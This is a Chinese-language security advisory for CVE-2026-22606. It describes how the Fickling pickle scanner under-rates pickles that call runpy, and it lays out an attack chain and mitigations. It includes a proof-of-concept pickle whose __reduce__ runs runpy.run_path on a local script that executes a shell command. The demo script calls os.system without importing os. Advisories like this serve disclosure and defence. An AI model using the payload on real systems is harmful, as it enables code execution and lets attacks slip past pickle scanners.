CVE-2026-22606 Fickling runpy模块安全误判漏洞

漏洞信息

漏洞编号

CVE-2026-22606

漏洞类型

安全误判/代码执行风险

CVSS评分

7.8 高危

攻击向量

本地 (AV:L)

认证要求

无需认证 (PR:N)

用户交互

需要交互 (UI:R)

影响产品

Fickling

漏洞概述

Fickling是一款Python pickle反编译器和静态分析工具，广泛用于检测pickle序列化数据中的恶意代码。然而，该工具在0.1.6及之前版本中存在严重的安全检测缺陷，未将Python标准库中的runpy模块识别为潜在危险模块。runpy模块提供了run_path()和run_module()两个函数，可以动态加载并执行任意Python代码或模块。攻击者可利用这一缺陷，构造包含runpy调用的恶意pickle文件，使其被Fickling错误分类为"SUSPICIOUS"（可疑）而非"OVERTLY_MALICIOUS"（明显恶意）。当用户依赖Fickling的检测结果来判断pickle文件安全性时，可能导致攻击者控制的代码在用户系统上执行，造成敏感数据泄露或系统被完全控制。该漏洞影响所有使用Fickling作为安全门控进行pickle反序列化验证的工作流程和产品。

技术细节

Fickling通过静态分析pickle字节码来识别潜在的危险操作，如__reduce__()方法的调用、os.system()和eval()等函数的执行等。分析器会根据检测到的危险函数将其分类为不同威胁等级。然而，runpy.run_path()和runpy.run_module()这两个函数虽然在Python官方文档中被明确标注为可能执行任意代码的危险函数，但Fickling在0.1.6版本中并未将其纳入危险函数黑名单。攻击者可以通过以下方式利用此漏洞：构造一个pickle文件，其中包含对runpy.run_path('恶意脚本路径')的调用序列；当该pickle被加载时，runpy会动态执行指定的Python脚本。由于Fickling仅将此类pickle标记为"可疑"而非"恶意"，依赖Fickling输出的安全系统可能会错误地允许该pickle的反序列化操作，从而触发代码执行。攻击者可以利用此漏洞绕过基于Fickling的安全检查，在目标系统上执行任意Python代码或系统命令。

攻击链分析

STEP 1

步骤1

攻击者创建恶意Python脚本，包含需要执行的系统命令或后门代码

STEP 2

步骤2

攻击者构造一个pickle对象，其__reduce__方法返回runpy.run_path()调用，参数指向恶意脚本路径

STEP 3

步骤3

将恶意pickle文件伪装成正常数据文件，通过社会工程学攻击或其他方式诱使目标用户加载

STEP 4

步骤4

目标用户使用Fickling进行安全检测，工具将pickle误判为可疑但非恶意

STEP 5

步骤5

依赖Fickling检测结果的应用程序或安全系统允许该pickle反序列化

STEP 6

步骤6

反序列化过程中runpy.run_path()被执行，加载并运行恶意脚本，导致代码执行

STEP 7

步骤7

攻击者获得目标系统的命令执行权限，可进行数据窃取、横向移动或持久化控制

PoC / 利用代码

⚠️ 仅供安全研究

以下代码仅用于安全研究和授权测试，未经授权使用属于违法行为。

PoC

import pickle
import runpy
import os

# 创建一个利用runpy.run_path()执行任意代码的恶意pickle
class MaliciousPayload:
    def __reduce__(self):
        # runpy.run_path() 可以执行任意Python脚本
        # 攻击者可以让它执行系统命令或下载恶意代码
        return (runpy.run_path, ('/tmp/malicious_script.py',))

# 生成恶意pickle文件
malicious_pickle = pickle.dumps(MaliciousPayload())
with open('malicious.pkl', 'wb') as f:
    f.write(malicious_pickle)

# Fickling会将此文件误判为SUSPICIOUS而非OVERTLY_MALICIOUS
# 使用Fickling分析
# from fickling.pickle import Interpreter
# interpreter = Interpreter.parse(malicious_pickle)
# result = interpreter.check_safety()
# print(result)  # 输出可能是 SUSPICIOUS 而非 MALICIOUS

# 创建恶意脚本用于演示
with open('/tmp/malicious_script.py', 'w') as f:
    f.write('print("Malicious code executed!"); os.system("whoami")')

影响范围

Fickling < 0.1.7

Fickling 0.1.0 - 0.1.6

防御指南

临时缓解措施

在官方修复版本发布前，建议采取以下临时缓解措施：1) 对所有pickle文件实施来源验证和完整性校验；2) 将pickle反序列化操作限制在隔离的沙箱环境中进行；3) 禁用或限制runpy模块的导入；4) 对pickle文件采用白名单机制，仅允许已知安全的格式；5) 监控异常的系统命令执行行为；6) 考虑使用fickling的fork版本或自定义规则将runpy相关调用标记为恶意。